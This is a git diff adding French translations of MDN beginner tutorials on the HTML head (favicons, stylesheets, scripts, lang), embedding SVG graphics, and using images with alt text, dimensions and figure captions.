La petite favicône, qui existe depuis de nombreuses années, a été la première icône de ce type, une icône de 16 x 16 pixels utilisée dans de multiples endroits. Vous verrez des favicônes affichés dans chaque onglet du navigateur pour chaque page ouverte et à côté des pages marquées dans le panneau des signets.

+ +

Une favicône peut être ajoutée à votre page de la façon suivante :

+ +
    +
  1. Enregistrez-la dans le même répertoire que la page d'index du site, sous le format .ico (la plupart des navigateurs prendront en charge les favicônes dans des formats plus communs comme .gif ou .png, mais utiliser le format ICO assurera son fonctionnement  depuis Internet Explorer 6.)
    2. +
  2. Ajoutez la ligne suivante dans votre <head> du HTML pour la référencer : + 
    <link rel="shortcut icon" href="favicon.ico" type="image/x-icon">
    +
    3. +
+ +

Voici un exemple de favicône dans un panneau de favoris :

+ +

Le panneau de signets Firefox, montrant un exemple de signet avec une favicône affichée à côté.

+ +

Il existe de nombreux autres types d'icônes à considérer aussi actuellement. Par exemple, vous trouverez ceci dans le code source de la page d'accueil MDN :

+ +
<!-- troisième-génération iPad avec haute-résolution Retina display: -->
+<link rel="apple-touch-icon-precomposed" sizes="144x144" href="https://developer.cdn.mozilla.net/static/img/favicon144.a6e4162070f4.png">
+<!-- iPhone avec haute-résolution Retina display: -->
+<link rel="apple-touch-icon-precomposed" sizes="114x114" href="https://developer.cdn.mozilla.net/static/img/favicon114.0e9fabd44f85.png">
+<!-- iPad de première et deuxième génération : -->
+<link rel="apple-touch-icon-precomposed" sizes="72x72" href="https://developer.cdn.mozilla.net/static/img/favicon72.8ff9d87c82a0.png">
+<!-- iPhone non-Retina, iPod Touch et appareils Android 2.1+: -->
+<link rel="apple-touch-icon-precomposed" href="https://developer.cdn.mozilla.net/static/img/favicon57.a2490b9a2d76.png">
+<!-- favicône de base -->
+<link rel="shortcut icon" href="https://developer.cdn.mozilla.net/static/img/favicon32.e02854fdcf73.png">
+ +

Les commentaires expliquent ce à quoi chaque icône est utilisée — ces éléments incluent des fonctionnalités telles que la fourniture d'une icône haute résolution à utiliser lorsque le site Web est enregistré sur l'écran d'accueil d'un iPad.

+ +

Ne vous préoccupez pas de la mise en œuvre de tous ces types d'icônes maintenant — il s'agit d'une fonctionnalité assez avancée ; vous n'avez pas besoin de la connaître pour avancer dans le cours. Le but principal ici est de vous faire savoir à quoi elles ressemblent si vous les rencontriez en parcourant le code source d'autres sites web.

+ +

Application des CSS et JavaScript au HTML

+ +

À peu près tous les sites web que vous rencontrerez actuellement utiliseront des {{glossary("CSS")}} pour agrémenter leur aspect, et {{glossary("JavaScript")}} pour assurer les fonctionnalités interactives, telles que lecteurs vidéo, cartes géographiques, jeux et plus encore. Ceux-ci sont le plus souvent appliqués à une page web en utilisant respectivement les éléments {{htmlelement("link")}} et {{htmlelement("script")}}.

+ +
    +
  • +

    L'élément {{htmlelement("link")}} se situe toujours dans l'en-tête du document. Il comporte deux attributs, rel="stylesheet" indiquant qu'il s'agit de la feuille de style du document, et href indiquant le chemin d'accès au fichier la contenant :

    + + 
    <link rel="stylesheet" href="mon_fichier_css.css">
    +
    • +
  • +

    L'élément {{htmlelement("script")}} ne doit pas aller dans l'en-tête ; en fait, il est souvent préférable de le placer au bas du corps du document (juste avant la balise de clôture </body>), pour s'assurer que tout le contenu HTML a été lu par le navigateur avant de lui appliquer le JavaScript (si JavaScript essaie d'accéder à un élément qui n'existe pas encore, le navigateur déclenchera une erreur).

    + + 
    <script src="mon-fichier-js.js"></script>
    + +
    +

    Note : L'élément <script> peut ressembler à un élément vide, mais ce n'est pas le cas : il faut donc une balise de fermeture. Au lieu de pointer vers un fichier de script externe, vous pouvez également choisir de mettre le code du script dans le HTML à l'intérieur d'un élément <script>.

    +
    +
    • +
+ +

Apprentissage actif : appliquer des CSS et du JavaScript à une page

+ +
    +
  1. Pour commencer cet apprentissage actif, prenez une copie de nos fichiers meta-example.html, script.js et style.css , et enregistrez-les sur votre ordinateur dans un même répertoire. Assurez-vous qu'ils sont enregistrés avec les noms et les extensions de fichier corrects.
    2. +
  2. Ouvrez le fichier HTML à la fois dans votre navigateur et votre éditeur de texte.
    3. +
  3. En suivant les informations fournies ci-dessus, ajoutez les éléments {{htmlelement("link")}} et {{htmlelement("script")}} à votre HTML, afin que les CSS et le JavaScript soient appliqués au HTML.
    4. +
+ +

Si a été fait correctement, après avoir enregistré le HTML, puis actualisé la page, vous verrez que les choses ont changé :

+ +

Exemple montrant une page sur laquelle on a appliqué du CSS et du JavaScript. Le CSS a rendu la page verte, alors que le JavaScript a ajouté une liste dynamique à la page.

+ +
    +
  • Le JavaScript a ajouté une liste vide à la page. Maintenant, lorsque vous cliquez n'importe où sur la liste, une boîte de dialogue s'ouvre pour vous permettre de saisir un texte. Lorsque vous appuyez sur le bouton OK, un nouvel élément de la liste est ajouté contenant le texte saisi. Lorsque vous cliquez sur un élément de liste existant, la boîte de dialogue affiche son contenu pour vous permettre de le modifier.
    • +
  • Le CSS a rendu l'arrière-plan vert et le texte plus grand. Il a également décrit le contenu que le JavaScript a ajouté à la page (la barre rouge avec la bordure noire est le style que le CSS a ajouté à la liste générée par JS).
    • +
+ +
+

Note : Si vous êtes coincé dans cet exercice et que vous ne pouvez pas obtenir le CSS / JS à appliquer, essayez de vérifier notre exemple de page css-and-js.html .

+
+ +

Définition de la langue principale du document

+ +

Enfin, il convient de mentionner que vous pouvez (et devrez vraiment) définir la langue de votre page. Cela peut être fait en ajoutant l'attribut lang à la balise ouvrante HTML (voir meta-example.html.)

+ +
<html lang="fr">
+ +

Ceci est utile de plusieurs façons. Votre document sera indexé plus efficacement par les moteurs de recherche si son langage est défini (ce qui lui permet d'apparaître correctement dans les résultats spécifiques à la langue, par exemple) et il est utile pour les personnes visuellement déficientes utilisant un lecteur d'écran (par exemple, le mot « six » existe en français et en anglais, mais se prononce différemment.)

+ +

Vous pouvez également définir des sous-sections de votre document pour qu'elles soient reconnues comme étant en différentes langues. Par exemple, nous pourrions définir la partie en langue japonaise pour qu'elle soit reconnue comme telle, de la manière suivante :

+ +
<p>Exemple en japonais : <span lang="jp">ご飯が熱い。</span>.</p>
+ +

Ces codes sont définis par la norme ISO 639-1. Vous en trouverez plus sur Etiquettes langues en HTML et XML (en).

+ +

Résumé

+ +

Cela marque la fin de notre tour rapide de l'en-tête HTML — il y a beaucoup plus de possibilités ici, mais un panorama exhaustif serait ennuyeux et susceptible de vous embrouiller à ce stade, nous voulions simplement vous donner une idée des éléments les plus courants. Dans l'article suivant, nous allons étudier les fondamentaux du texte HTML.

+ +

{{PreviousMenuNext("Apprendre/HTML/Introduction_à_HTML/Getting_started", "Apprendre/HTML/Introduction_à_HTML/HTML_text_fundamentals", "Apprendre/HTML/Introduction_à_HTML")}}

+ +

Dans ce module

+ + diff --git a/files/fr/learn/html/multimedia_and_embedding/adding_vector_graphics_to_the_web/index.html b/files/fr/learn/html/multimedia_and_embedding/adding_vector_graphics_to_the_web/index.html new file mode 100644 index 0000000000..a6ea2d91cc --- /dev/null +++ b/files/fr/learn/html/multimedia_and_embedding/adding_vector_graphics_to_the_web/index.html @@ -0,0 +1,182 @@ +--- +title: Ajouter des images vectorielles à une page web +slug: Apprendre/HTML/Comment/Ajouter_des_images_vectorielles_à_une_page_web +tags: + - Graphics + - Guide + - HTML + - Intermediate + - Learn + - SVG +translation_of: Learn/HTML/Multimedia_and_embedding/Adding_vector_graphics_to_the_Web +--- +

{{LearnSidebar}}
+ {{PreviousMenuNext("Learn/HTML/Multimedia_and_embedding/Other_embedding_technologies", "Learn/HTML/Multimedia_and_embedding/Responsive_images", "Learn/HTML/Multimedia_and_embedding")}}

+ +

 

+ +
+

Les graphiques vectoriels sont les images adaptatives par excellence : légères et redimensionnables à volonté. Dans cet article, nous verrons comment intégrer des images vectorielles dans une page web.

+
+ + + + + + + + + + + + +
Prérequis :Vous devriez au préalable savoir comment créer un document HTML simple et comment insérer une image dans un document HTML.
Objectifs :Apprendre comment intégrer une image SVG dans une page web.
+ +

Qu'est-ce que SVG ? Qu'apporte-t-il ?

+ +

SVG est un langage basé sur {{glossary("XML")}} qui permet de décrire des images vectorielles. Commençons par définir ce qu'est une image vectorielle.

+ +

Certaines images (appelées images « matricielles ») sont en fait des tableaux de carrés colorés (appelés pixels). Si on agrandit une image de ce type, à un moment, on arrive à distinguer ces carrés et une ligne diagonale deviendra un « escalier » crénelé.

+ +

Au contraire, les images vectorielles décrivent des lignes et des formes. On obtient donc une image qui est toujours nette, quelle que soit la résolution de l'écran ou l'agrandissement effectué sur l'image. Une ligne diagonale sera donc toujours lisse. Une seule image source suffit car il est possible de redimensionner l'image avec CSS plutôt qu'en utilisant srcset et sizes.

+ +

De plus, les fichiers dans lesquels on stocke les images vectorielles sont beaucoup plus légers que leurs homologues matriciels. Le texte utilisé dans une image vectorielle reste accessible (ce qui peut également être utilisé lors du référencement). Les images SVG se prêtent particulièrement bien aux animations scriptées car chaque composant des images sera représenté dans le {{glossary("DOM")}}.

+ +

Il est possible de coder le SVG à la main grâce à un éditeur de texte. En revanche, pour réaliser des images moyennement complexes, il est préférable d'utiliser un éditeur graphique dédié, comme Inkscape. Malheureusement, les téléphones ne permettent pas de prendre des photos qui soient des images vectorielles mais Inkscape possède une fonctionnalité appelée Trace Bitmap qui permet de passer d'une image matricielle à une image vectorielle. Attention à l'utilisation de fichiers SVG complexes, le traitement de ces fichiers par le navigateur pourra entraîner une baisse des performances.

+ +
+

Sous Inkscape, préférez le format « SVG simple » pour sauvegarder vos fichiers, cela permet d'économiser de l'espace. Pour plus d'informations sur la préparation, lire cet article qui décrit comment préparer des fichiers SVG pour les utiliser sur le Web.

+
+ +

La méthode rapide : {{htmlelement("img")}}

+ +

Vous pouvez simplement faire référence à un fichier SVG au sein de l'élément {{htmlelement("img")}}, comme vous l'auriez fait avec une image matricielle. Il faudra utiliser l'attribut height ou width (voire les deux si le fichier SVG ne possède pas de ratio inhérent). Si ce n'est pas déjà fait, vous pouvez lire ce tutoriel sur <img>.

+ +
<img
+    src="equilateral.svg"
+    alt="un triangle aux trois côtés égaux"
+    height="87px"
+    width="100px" />
+ +

Avantages

+ +
    +
  • Rapide à mettre en œuvre, syntaxe très proche avec les images matricielles, texte alternatif disponible.
    • +
  • Il est également possible de créer des hyperliens en plaçant l'élément <img> dans un élément {{htmlelement("a")}}.
    • +
+ +

Inconvénients

+ +
    +
  • Pour les navigateurs historiques qui existaient avant la démocratisation de SVG (Internet Explorer 8, Android 2.3 et autres), on pourra utiliser une image PNG ou JPG dans l'attribut src en combinaison avec l'attribut {{htmlattrxref("srcset","img")}} : + + 
    <img src="equilateral.png" alt="un triangle dont tous les côtés sont égaux" srcset="equilateral.svg"/>
+
    +
    • +
  • Il est impossible de manipuler l'image avec JavaScript.
    • +
  • Si vous souhaitez contrôler le contenu du SVG avec du code CSS, vous devez inclure les styles CSS dans le code SVG (les feuilles de style externes appelées depuis le SVG n'auront aucun effet).
    • +
  • Il n'est pas possible de remettre l'image en forme avec les pseudo-classes CSS (par exemple :focus).
    • +
+ +
+
    +
  • Les images SVG peuvent tout à fait être utilisées comme images d'arrière-plan dans du CSS. Cette méthode possèdera les mêmes limites que celles qui viennent d'être décrites ici (pour la méthode où on intègre une image SVG via <img>). + + 
    background: url("image-de-secours.png");
+background-image: url(image.svg);
+background-size: contain;
    +
    • +
  • Si vos fichiers SVG ne s'affichent pas, cela peut vouloir dire que votre serveur n'est pas correctement paramétré. Dans ce cas, cet article pourra vous aider à résoudre le problème.
    • +
+
+ +

Comment inclure une image SVG directement dans le code du document

+ +

Il suffit d'ouvrir le fichier SVG avec un éditeur de texte, de copier le tout puis de le coller dans le document. Assurez-vous que votre fragment de code commence et finit avec la balise <svg>. Voici un exemple très simple que vous pouvez directement copier-coller dans votre document :

+ +
<svg width="300" height="200">
+    <rect width="100%" height="100%" fill="green" />
+</svg>
+
+ +

La balise <svg> n'a pas besoin des attributs version, baseProfile ou xmlns. Assurez-vous de bien retirer les déclarations d'espaces de noms (namespace) éventuellement introduites par Inkscape (en effet, HTML ne tolère que les espaces de noms XHTML, XLink, MathML et SVG). Si vous souhaitez optimiser votre fichier de façon plus approfondie, vous pouvez utiliser SVG Optimiser ou Scour.

+ +

Avantages

+ +
    +
  • Placer le SVG à même le document permet d'économiser une requête HTTP, ce qui peut permettre de réduire le temps de chargement de la page.
    • +
  • Vous pouvez ajouter des attributs class et id aux éléments SVG pour les mettre en forme grâce à CSS (directement au sein du SVG ou dans les règles liées au document HTML). En fait, chaque attribut de présentation SVG peut être utilisé comme propriété CSS.
    • +
  • Cette approche est la seule qui permet d'utiliser des interactions CSS (telles que :focus) et des animations CSS. Il faut toutefois noter que les animation SMIL fonctionneront avec toutes les méthodes décrites dans cet article.
    • +
  • Avec cette méthode, les images SVG peuvent être utilisées comme hyperlien.
    • +
+ +

Inconvénients

+ +
    +
  • Cette méthode n'est utilisable que si le SVG n'est utilisé qu'à un seul endroit. S'il faut le dupliquer, cela compliquera la maintenance et gaspillera de la mémoire.
    • +
  • Chaque image SVG augmente la taille du fichier HTML.
    • +
  • Le navigateur ne peut pas placer ces images SVG en cache comme il pourrait le faire avec d'autres ressources.
    • +
  • Vous pouvez inclure un contenu à utiliser au cas où le navigateur ne supporte pas le SVG, grâce à {{svgelement("foreignObject")}}. Toutefois, les navigateurs qui supportent SVG téléchargeront quand même les ressources supplémentaires. Il faut donc décider si cette charge supplémentaire est nécessaire pour gérer les anciens navigateurs.
    • +
+ +
    +
+ +

Comment intégrer un SVG dans un élément {{htmlelement("object")}}

+ +

Cette syntaxe est assez simple et permet également de définir un contenu à utiliser quand SVG n'est pas supporté :

+ +
<object data="parallelogramme.svg"
+    width="300"
+    height="250"
+    type="image/svg+xml">
+
+<img src="parallelogramme.png"
+    alt="un quadrilatère dont les côtés sont parallèles deux à deux" />
+
+</object>
+
+
+ +

Inconvénients

+ +
    +
  • Là aussi, les navigateurs qui supportent SVG téléchargeront également les ressources alternatives comme les images.
    • +
  • Les éléments <object> ne peuvent pas être transformés en liens. Le SVG sera affiché mais ne sera pas déclenchable.
    • +
  • Les éléments SVG peuvent être mis en forme avec CSS mais +
      +
    • le code SVG doit contenir les règles CSS (par exemple dans un élément <style>) ou
      • +
    • le fichier SVG doit contenir un lien vers la feuille de style externe. Pour créer ce lien, vous pouvez utiliser ce code, à placer dans le code SVG avant les autres balises : + 
      <?xml-stylesheet type="text/css" href="svg.css" ?>
      + (Attention à ne pas utiliser ce code avec du SVG intégré directement dans le HTML car cela pourrait rendre la page non-fonctionnelle)
      • +
    +
    • +
+ +

Comment intégrer un SVG avec un élément {{htmlelement("iframe")}}

+ +

Vous pouvez ouvrir des images SVG dans votre navigateur de la même façon qu'on peut ouvrir des pages web. Intégrer des images SVG dans un élément <iframe> n'est donc qu'une variation de l'intégration d'une page web dans une autre page web.

+ +

Voici un rapide exemple :

+ +
<iframe src="triangle.svg" width="500" height="500" sandbox>
+    <img src="triangle.png" alt="Un triangle avec trois côtés inégaux" />
+</iframe>
+ +

iframe permet d'afficher un contenu de secours qui ne sera affiché que si le navigateur ne supporte pas les iframe.

+ +

De plus, sauf si le SVG et la page web actuelle ont la même {{glossary('origine')}}, il n'est pas possible d'utiliser JavaScript pour manipuler le SVG depuis la page web.

+ +

En savoir plus

+ + diff --git a/files/fr/learn/html/multimedia_and_embedding/images_in_html/index.html b/files/fr/learn/html/multimedia_and_embedding/images_in_html/index.html new file mode 100644 index 0000000000..ff8adaf25c --- /dev/null +++ b/files/fr/learn/html/multimedia_and_embedding/images_in_html/index.html @@ -0,0 +1,523 @@ +--- +title: Les images en HTML +slug: Apprendre/HTML/Multimedia_and_embedding/Images_in_HTML +tags: + - Débutant + - Guide + - HTML + - Image + - Title + - alt text + - figcaption + - figure + - img + - src +translation_of: Learn/HTML/Multimedia_and_embedding/Images_in_HTML +--- +
{{LearnSidebar}}
+ +
{{NextMenu("Learn/HTML/Multimedia_and_embedding/Video_and_audio_content", "Learn/HTML/Multimedia_and_embedding")}}
+ +

Au début, le Web n'était que du texte, ce qui était un peu ennuyeux. Heureusement, il n'a pas fallu longtemps pour que la possibilité d'intégrer des images ( et d'autres types de contenu intéressants) dans une page web soit ajoutée.  Bien qu'il y ait plusieurs types de contenu multimedia, il est logique de commencer avec l'humble élément {{htmlelement("img")}},  utilisé pour intégrer une image dans une page web. Dans cet article, nous approfondirons son utilisation en abordant les principes fondamentaux, l'annotation par légendes utilisant {{htmlelement("figure")}}, et en analysant sa relation avec les images d'arrière-plan du {{glossary("CSS")}} .

+ + + + + + + + + + + + +
Prérequis :Notions élémentaires en informatique, installation des outils de base, bases  de la manipulation des fichiers, fondamentaux du HTML (comme décrit dans  Commencer avec le Web).
Objectifs :Apprendre à intégrer des images simples en HTML, à les légender d'un intitulé, et à mettre en relation ces images HTML avec les images d'arrière-plan du CSS.
+ +

Comment intégrer une image à une page web ?

+ +

Pour mettre une image simple sur une page web, nous utiliserons l'élément {{htmlelement("img")}}.  C'est un {{glossary("empty element","élément vide")}} (ce qui signifie qu'il ne contient ni texte ni balise de fermeture) qui demande au moins un attribut pour fonctionner — src (souvent appelé par son nom entier:  source). L'attribut src contient un chemin pointant vers l'image que vous voulez intégrer, qui peut être une URL absolue ou relative, de la même manière que l'élément  {{htmlelement("a")}}  href= attribue des valeurs.

+ +
+

Note: Vous devriez lire  Une brève présentation des URL et des chemins  pour vous rafraîchir la mémoire avant de continuer.

+
+ +

Donc, par exemple, si votre image s'appelle dinosaur.jpg, et qu'elle est située dans le même répertoire que votre page HTML, vous pouvez intégrer cette image comme ceci (URL relative) :

+ +
<img src="dinosaur.jpg">
+ +

Et si cette image se trouve dans un sous-répertoire images situé dans le même dossier que la page HTML (ce que Google recommande pour  {{glossary("SEO")}}/dans un but d'indexation et d'optimisation de la recherche), alors vous l'intégrerez comme ceci :

+ +
<img src="images/dinosaur.jpg">
+ +

Ainsi de suite.

+ +
+

Note: Les moteurs de recherche lisent aussi les noms de fichiers image et s'en servent pour optimiser la recherche. Donc, donnez à vos images des noms de fichiers descritifs et qui ont du sens. dinosaur.jpg est infiniment mieux que img835.png.

+
+ +

Vous pouvez intégrer l'image en utilisant son URL absolue, par exemple :

+ +
<img src="https://www.example.com/images/dinosaur.jpg">
+ +

Ce n'est pas trés efficace, cela fait travailler le navigateur plus qu'il ne devrait, il cherche l'adresse IP depuis le serveur DNS à chaque fois etc... Vous devriez autant que possible garder vos images du site sur le même serveur que la page HTML.

+ +
+

Attention ! : La plupart des images ont des droits d'auteur. N'affichez jamais une image sur votre site à moins que :
+
+ 1) Ce soit votre image (vous en êtes le créateur),
+ 2) vous ayez reçu une permission explicite et écrite du propriètaire de l'image ou,
+ 3) que vous ayez une preuve indiscutable que cette image appartient au domaine public.
+
+ Les violations des lois sur les droits d'auteur sont non seulement illégales mais aussi non-éthiques. De plus, ne faites jamais pointer votre attribut src vers une image hébergée sur le site de quelqu'un d'autre sans en avoir l'autorisation. Cela s'appelle du "hotlinking". Souvenez-vous que voler de la bande passante à quelqu'un est aussi illégal. Cela ralentit aussi votre page et vous laisse sans contrôle si l'image est enlevée ou remplacée par une autre plus gênante...

+
+ +

Le code au-dessus vous donnera, à peu prés, le résultat suivant :

+ +

A basic image of a dinosaur, embedded in a browser, with "Images in HTML" written above it

+ +
+

Note: Les éléments comme {{htmlelement("img")}} et {{htmlelement("video")}} sont souvent désignés comme des éléments "remplacés". C'est parce que le contenu et la taille de ces éléments sont définies par une ressource externe (comme un fichier image ou video), pas par le contenu de l'élément lui-même.

+
+ +
+

Note: Vous trouverez les exemples finis de cette section sur Github (regardez aussi le  code source .)

+
+ +

Texte alternatif

+ +

Le prochain attribut que nous allons étudier est alt. Sa valeur est supposée être un descriptif sous forme de texte de l'image, à utiliser dans les cas où l'image ne peut être affichée. Exemple : le code au-dessus pourrait être modifié de cette manière :

+ +
<img src="images/dinosaur.jpg"
+     alt="The head and torso of a dinosaur skeleton;
+          it has a large head with long sharp teeth">
+ +

La manière la plus simple de tester votre texte alt est de mal épeler votre nom de fichier intentionnellement. Si dans l'exemple, la photo était épelée dinosooooor.jpg, le navigateur ne l'afficherait pas mais afficherait le texte alt à la place :

+ +

The Images in HTML title, but this time the dinosaur image is not displayed, and alt text is in its place.

+ +

Pourquoi vous verrez partout du texte alt ? Vous en aurez besoin car c'est très pratique en maintes occasions :

+ +
    +
  • L'utilisateur est un déficient visuel qui utilise un lecteur d'écran qui s'en sert pour "lire" le web. En fait, avoir du texte alt disponible pour décrire les images est très utile à beaucoup d'utilisateurs.
    • +
  • Comme nous l'avons vu au-dessus, vous pourriez avoir mal épelé le nom ou le chemin du fichier.
    • +
  • Le navigateur ne gère pas ce type d'image. Certains utilisent encore des navigateurs en terminal, affichant seulement du texte (comme Lynx), qui affichent le texte alt des images.
    • +
  • Vous pouvez avoir envie de fournir du texte que pourraient utiliser les moteurs de recherche. Par exemple, ils mettront en relation le texte alt avec des requêtes de recherche.
    • +
  • L'utilisateur a supprimé les images pour économiser le volume du transfert de données ou pour ne pas être distrait. C'est très commun sur les téléphones mobiles et dans les pays où la bande passante est limitée ou coûte cher.
    • +
+ +

Que devriez-vous noter dans vos attributs alt ? En premier lieu, cela dépend de la raison pour laquelle cette image se trouve là. En d'autres mots, ce que vous perdriez si cette image ne s'affichait pas :

+ +
    +
  • Decoration. Vous devriez utiliser  {{anch("CSS background images")}} pour les images décoratives mais si vous devez utiliser du HTML, ajoutez un alt="" vide. Si l'image ne fait pas vraiment partie du contenu, un lecteur d'écran ne perdra pas de temps à la lire.
    • +
  • Contenu. Si votre image fournit une ou plusieurs informations supplémentaires significatives, inscrivez ces mêmes informations dans un bref  alt text –  ou mieux, dans le texte principal, que tout le monde puisse les voir. N'écrivez pas de  alt text redondants. Imaginez combien ce serait ennuyeux pour un lecteur si tous les paragraphes étaient écrits en double... Si l'image est décrite de manière adéquate dans le corps de texte principal, vous pouvez utiliser simplement  alt="".
    • +
  • Lien. Si vous mettez une image à l'intérieur d'une ancre {{htmlelement("a")}} pour transformer une image en lien, vous devez quand même fournir un Lien texte accessible . Dans de tels cas, vous pouvez, soit l'inclure dans le même élément <a>, soit dans l'attribut  alt de l'image – utilisez ce qui marche le mieux dans votre cas.
    • +
  • Texte. Vous ne devez pas mettre de texte dans les images. Si votre titre principal a besoin d'un peu d'ombrage par exemple,  utilisez CSS  pour ça, plutôt que de mettre du texte dans une image. De toutes manières, si vous ne pouvez pas éviter de faire ça, vous devez ajouter le texte dans l'attribut  alt .
    • +
+ +

Le but est de livrer essentiellement une expérience de qualité, même quand les images ne peuvent être vues. Cela assure à tous les utilisateurs de ne rien manquer du contenu. Essayez de ne pas afficher les images dans votre navigateur et regardez ce qu'il se passe. Vous allez vite réaliser que le texte fourni à la place est réellement utile.

+ +
+

Note: Pour plus d'informations, voyez notre guide  Textes Alternatifs

+
+ +

Largeur et hauteur (width-height)

+ +

Vous pouvez vous servir des attributs  width et height pour spécifier la largeur et la hauteur de votre image. Vous pouvez trouver la largeur et la hauteur de différentes manières. Sur Mac, par exemple, vous pouvez utiliser   Cmd + I pour afficher l'info relative au fichier image. Pour revenir à notre exemple, nous pourrions faire ceci :

+ +
<img src="images/dinosaur.jpg"
+     alt="The head and torso of a dinosaur skeleton;
+          it has a large head with long sharp teeth"
+     width="400"
+     height="341">
+ +

Cela ne fait pas grande différence à l'affichage dans des circonstances normales. Mais, si l'image n'est pas affichée, disons que l'utilisateur est juste arrivé sur la page et qu'elle n'est pas encore chargée, vous remarquerez que le navigateur laisse un espace pour qu'elle y apparaisse :

+ +

The Images in HTML title, with dinosaur alt text, displayed inside a large box that results from width and height settings

+ +

C'est une bonne pratique, cela donne une page se chargeant plus rapidement et en douceur.

+ +

De toutes manières, vous ne devez pas altérer la taille de vos images avec les attributs  HTML . Si vous réglez la taille de l'image trop grande, vous aurez un résultat avec beaucoup de "grain", flou ou trop petit et vous dépensez de la bande passante en téléchargeant une image qui ne convient pas aux besoins de l'utilisateur.  Votre image peut aussi sortir distordue, si vous n'en maintenez pas le bon  Format d'image. Vous devriez utiliser un éditeur d'images pour la mettre à la bonne taille avant de la mettre dans votre page web.

+ +
+

Note: Si vous devez absolument modifier une taille d' image, vous devriez vous servir de  CSS .

+
+ +

Titre d'images

+ +

Comme décrit dans le chapitre  Création d'hyperliens , vous pouvez aussi ajouter un attribut title aux images, pour fournir un supplément d'information si nécessaire. Dans notre exemple, nous pourrions faire ceci :

+ +
<img src="images/dinosaur.jpg"
+     alt="The head and torso of a dinosaur skeleton;
+          it has a large head with long sharp teeth"
+     width="400"
+     height="341"
+     title="A T-Rex on display in the Manchester University Museum">
+ +

Cela donne une info-bulle avec le texte entré dans l'attribut title :

+ +

The dinosaur image, with a tooltip title on top of it that reads A T-Rex on display at the Manchester University Museum

+ +

Il n'est pas essentiel d'inclure des informations dans les images. Il est souvent préférable d'écrire ces informations dans le texte principal plutôt qu'attaché à l'image. Ils peuvent être très utile dans d'autres circonstances, par exemple dans une galerie d'images où vous n'avez pas de place pour les légendes.

+ +

Pédagogie active : incorporer une image

+ +

À vous de jouer maintenant ! Cette section dédiée à l'apprentissage interactif va vous tenir en haleine avec un simple exercice d'intégration d'image. Vous allez un peu travailler l'anglais aussi. Il vous est fourni une étiquette basique {{htmlelement("img")}} ; Il va vous falloir incorporer l'image située à l'URL suivante :

+ +

https://raw.githubusercontent.com/mdn/learning-area/master/html/multimedia-and-embedding/images-in-html/dinosaur_small.jpg

+ +

Nous avons dit plus tôt de ne jamais faire de "hotlinking" sur d'autres serveurs mais c'est ici dans un but d'apprentissage, donc on oublie ça pour cette fois.

+ +

Nous avons encore quelques petites choses pour vous :

+ +
    +
  • Ajoutez du texte alt  , et vérifiez qu'il marche en faisant une faute dans l'URL de l'image.
    • +
  • Réglez l'image à une bonne taille :  width et height ( conseil : c'est 200px wide (large) and 171px high (haut)), puis expérimentez d'autres valeurs pour en appréhender les effets.
    • +
  • Mettez un  title  sur l'image.
    • +
+ +

Si vous faites une erreur, vous pouvez toujours remettre à zéro en utilisant le bouton  Reset .  Si vous êtes vraiment bloqué, regardez la réponse en cliquant le bouton Show solution :

+ + + +

{{ EmbedLiveSample('Playable_code', 700, 350, "", "", "hide-codepen-jsfiddle") }}

+ + + +

Légender des images avec figure et figcaption

+ +

En parlant de légendes, il y a de nombreuses manières d'en ajouter qui ira avec votre image. Par exemple, rien ne vous empêche de faire ceci :

+ +
<div class="figure">
+  <img src="images/dinosaur.jpg"
+       alt="The head and torso of a dinosaur skeleton;
+            it has a large head with long sharp teeth"
+       width="400"
+       height="341">
+
+  <p>A T-Rex on display in the Manchester University Museum.</p>
+</div>
+ +

C'est bon. Ça contient ce que vous voulez et c'est aisément stylisable en CSS.  Mais il y a un problème : il n'y a rien de sensé qui relie l'image à sa légende. Ce qui peut poser des problèmes à un lecteur d'écran. Par exemple, quand vous avez 50 images, quelle légende va avec quelle image ?

+ +

Une meilleure solution consiste en l'utilisation des éléments HTML5 {{htmlelement("figure")}} et {{htmlelement("figcaption")}} . Ils ont été conçus pour cela : fournir un conteneur sémantique aux objets et lier clairement cet objet à sa légende. Notre exemple précédent pourrait être réécrit comme ceci :

+ +
<figure>
+  <img src="images/dinosaur.jpg"
+       alt="The head and torso of a dinosaur skeleton;
+            it has a large head with long sharp teeth"
+       width="400"
+       height="341">
+
+  <figcaption>A T-Rex on display in the Manchester University Museum.</figcaption>
+</figure>
+ +

L'élément {{htmlelement("figcaption")}}  dit au navigateur et aux technologies d'assistance que la légende décrit le contenu de l'autre élément {{htmlelement("figure")}}.

+ +
+

Note: D'un  point de vue accessibilité, les légendes ont un rôle différent du texte {{htmlattrxref('alt','img')}}. Le texte {{htmlattrxref('alt','img')}} ne sert qu'en absence d'image tandis que les légendes servent en même temps aux utilisateurs qui voient l'image. Les légendes et le texte alt devraient cependant être différents car ils apparaissent tout deux quand l'image est absente. Essayez d'enlever les images dans votre navigateur et voyez à quoi ça ressemble.

+
+ +

Un objet <figure> n'est pas forcé de contenir une image. C'est une unité de contenu indépendante qui :

+ +
    +
  • exprime votre désir d'accessibilité et de compréhension facilitée.
    • +
  • peut se placer en plusieurs endroits dans une page à flot linéaire.
    • +
  • Fournit une information essentielle qui supporte le texte principal.
    • +
+ +

Cet objet peut être un ensemble d'images, des bribes de code, de l'audio, de la vidéo, des équations, un tableau ou bien d'autres choses.

+ +

Pédagogie active : créer un objet figure

+ +

Dans cette section, nous allons vous demander de récupérer le code fini de la section "Pédagogie active" précédente et d'y faire ceci :

+ +
    +
  • Encapsulez-le dans un élément {{htmlelement("figure")}} .
    • +
  • Copiez le texte de l'attribut, enlevez l'attribut  title  et mettez le texte dans un élément  {{htmlelement("figcaption")}} sous l'image.
    • +
+ +

Si vous faites une erreur, vous pouvez toujours remettre à zéro en utilisant le bouton  Reset .  Si vous êtes vraiment bloqué, regardez la réponse en cliquant le bouton Show solution :

+ + + +

{{ EmbedLiveSample('Playable_code_2', 700, 350, "", "", "hide-codepen-jsfiddle") }}

+ +

Images d'arrière-plan CSS

+ +

Vous pouvez également utiliser du CSS pour intégrer des images dans vos pages web (ou JavaScript, mais c'est une autre histoire). Les propriétés CSS {{cssxref("background-image")}} et background , sont utilisées pour contrôler le placement de l'image d'arrière-plan. Par exemple, pour placer une image d'arrière-plan sur chaque paragraphe de la page, vous pourriez faire ceci :

+ +
p {
+  background-image: url("images/dinosaur.jpg");
+}
+ +

